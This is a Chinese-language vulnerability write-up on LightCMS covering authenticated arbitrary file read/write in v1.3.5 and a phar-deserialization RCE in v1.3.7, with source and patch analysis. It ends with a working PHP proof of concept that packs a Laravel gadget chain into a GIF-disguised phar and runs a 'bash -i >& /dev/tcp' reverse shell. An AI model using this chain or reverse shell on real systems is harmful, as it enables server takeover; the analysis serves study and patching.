lightCMS 漏洞分析

v1.3.5任意文件读写漏洞,v1.3.7RCE漏洞

Posted by SEVENTEEN on June 5, 2021

前言

   没错,这个又是比赛遇到的cms,借此来分析一下。 不过,我个人对laravel这个框架不是很熟,看着开发手册跟调试复现的。

配置环境

   首先到GitHub下载v1.3.5,v1.3.7,按github上面的安装流程装就可以了,记得配置.env文件。 (把git_repository_url换成git clone https://github.com/eddy8/LightCMS.git -b v1.3.5)

v1.3.5任意文件读写漏洞

   首先到GitHub下载v1.3.5,v1.3.7,按github上面的安装流程装就可以了,记得配置.env文件。 (把git_repository_url换成git clone https://github.com/eddy8/LightCMS.git -b v1.3.5)

任意文件读取

   这里的前提条件是已经登录后台管理员,然后构造一个POST请求/admin/neditor/serve/catchImage, 填写的file参数是要读取文件路径。响应成功,返回了请求资源保存的路径。

   访问请求资源保存的路径,成功获取到数据。

任意文件写入

   同上面的请求包,不同的是file参数改为vps上的文件。响应成功,vps上的文件成功写入目标。

   访问请求资源保存的路径,从vps上保存过来的php文件解析成功。 所以,也可以在vps上写个马,通过file参数读取并保存到目标。从而达到getshell的目的。

   这里对源码进行分析,看到NEditorController控制器中的serve()方法。 可以看出请求的路由通过call_user_func()函数去调用方法。该漏洞请求调用的是catchImage()方法。

   来到catchImage()方法。这里用file_get_contents()函数获取资源后,再调用put()方法进行保存。 本来看到parse_url()函数,以为要绕过。 结果,这里直接用获取请求资源的后缀名,并且以该后缀名保存请求的资源,没有任何过滤处理。 这也解释了为什么请求vps上的php文件,保存到本地后会被解析。

   跟进一下put()方法,看一下是怎么保存的。 可以看到这里判断资源类型后,直接调用$this->driver->put($path, $contents, $options)进行保存。

   来看一下补丁怎么处理这个漏洞,可以看到首先对后缀名进行判断以及限制。 并且,把file_get_contents()函数改为了fetchImageFile()方法(作者写的一个用curl获取image文件对象的方法,并且在里面限制的请求到的资源), 来限制远程获取资源的文件类型。

v1.3.7RCE漏洞

   首先用laravel5.8的反序列化链生成一个phar文件,这里要修改为图片后缀并加上十六进制文件头。

   接着,访问接口/admin/entity/2/contents,点击新增文件内容。

   来到/admin/entity/2/contents/create后,在上传图片的功能点处上传刚刚生成gif后缀的phar文件, 上传成功后会显示phar文件的相对路径。

   到自己的vps上,写一个触发phar的url。这里有一个点卡了我很久, 如果你是把这段phar协议的url放txt文本上,file_get_contents()函数读取到的内容是会带一个\n换行符,导致不能进入is_url()分支。 所以这里才要用php文件去输出内容。 不过我在我的vps上装了框架,所以路由里面才直接return一个phar://./upload/image/202107/4vAAcw82fuQWYMMUsDgp0tg5A1KYU2LLsIf5J00R.gif,其实这里直接写一个php文件输出就行。

   跟原先v1.3.5的漏洞一样POST一个file参数到接口/admin/neditor/serve/catchImage, 这里的file参数填刚刚在vps上面写的文件。

   因为这里的命令执行没有回显,所以选择反弹个shell到vps上。

   接着,来分析一下源码。从v1.3.5版本修复的补丁可以得知一旦请求远程资源时, 会对文件的后缀名进行苛刻的要求,而phar反序列化是没有后缀要求的,所以我们可以通过触发phar反序列化来攻击目标。 从源码中可以看到这里用curl对我们file参数中的url进行了请求,并把获得的内容存放到$data变量。 接着,进入Image::make($data)方法内。

   跟随变量流向,可以发现来到了init()方法中进行区分数据的类型。 这里要满足$this->isUrl()才能进入$this->initFromUrl($this->data)方法。 来看一下$this->isUrl()方法该如何满足。

   可以看到通过过滤器filter_var($this->data, FILTER_VALIDATE_URL)进行判断连接$data中的链接是否有效, 这个地方其实卡了我很久,如果你在vps上以txt保存链接的话,$data会带有一个\n换行符导致过滤器返回false。 所以要用php文件来输出内容,避免换行符的出现。

   接着,便进入到$this->initFromUrl($this->data)方法内, 这里有个file_get_contents()函数去请求$data中的链接,所以我们构造一个phar协议的链接, 来触发目标本地的phar文件即可达到反序列化攻击。这里需要注意的是,此处的命令执行没有回显。

poc

<?php

namespace Illuminate\Broadcasting {

    class PendingBroadcast
    {

        protected $events;
        protected $event;

        public function __construct($obj_destruct, $obj_implements)
        {
            $this->events = $obj_destruct;
            $this->event = $obj_implements;
        }

        public function __destruct()
        {
            $this->events->dispatch($this->event);
        }
    }

}

namespace Illuminate\Bus {

    use Illuminate\Contracts\Queue\Queue;
    use Illuminate\Contracts\Queue\ShouldQueue;

    class Dispatcher
    {
        protected $queueResolver = 'system';

        public function dispatch($command)
        {
            if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
                return $this->dispatchToQueue($command);
            }
        }

        protected function commandShouldBeQueued($command)
        {
            return $command instanceof ShouldQueue;
        }

        public function dispatchToQueue($command)
        {
            $connection = $command->connection ?? null;

            $queue = call_user_func($this->queueResolver, $connection);
        }
    }
}

namespace Illuminate\Broadcasting {

    class BroadcastEvent
    {
        public $connection = 'bash -i >& /dev/tcp/ip/port 0>&1';
    }
}

namespace {

    $obj_destruct = new Illuminate\Bus\Dispatcher();
    $obj_implements = new Illuminate\Broadcasting\BroadcastEvent('17');
    $pwn = new Illuminate\Broadcasting\PendingBroadcast($obj_destruct, $obj_implements);
    echo urlencode(serialize($pwn));

    // 生成phar文件,$pwn变量为payload中实例化后的的对象
    @unlink('exp.gif');
    // .phar文件
    $phar = new Phar("exp.phar");
    $phar->stopBuffering();
    $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($pwn);
    // 生成签名
    $phar->addFromString("exp.txt", "test");
    $phar->stopBuffering();
    rename('exp.phar', 'exp.gif');

}

There Is Nothing Below

   

Turn at the next intersection.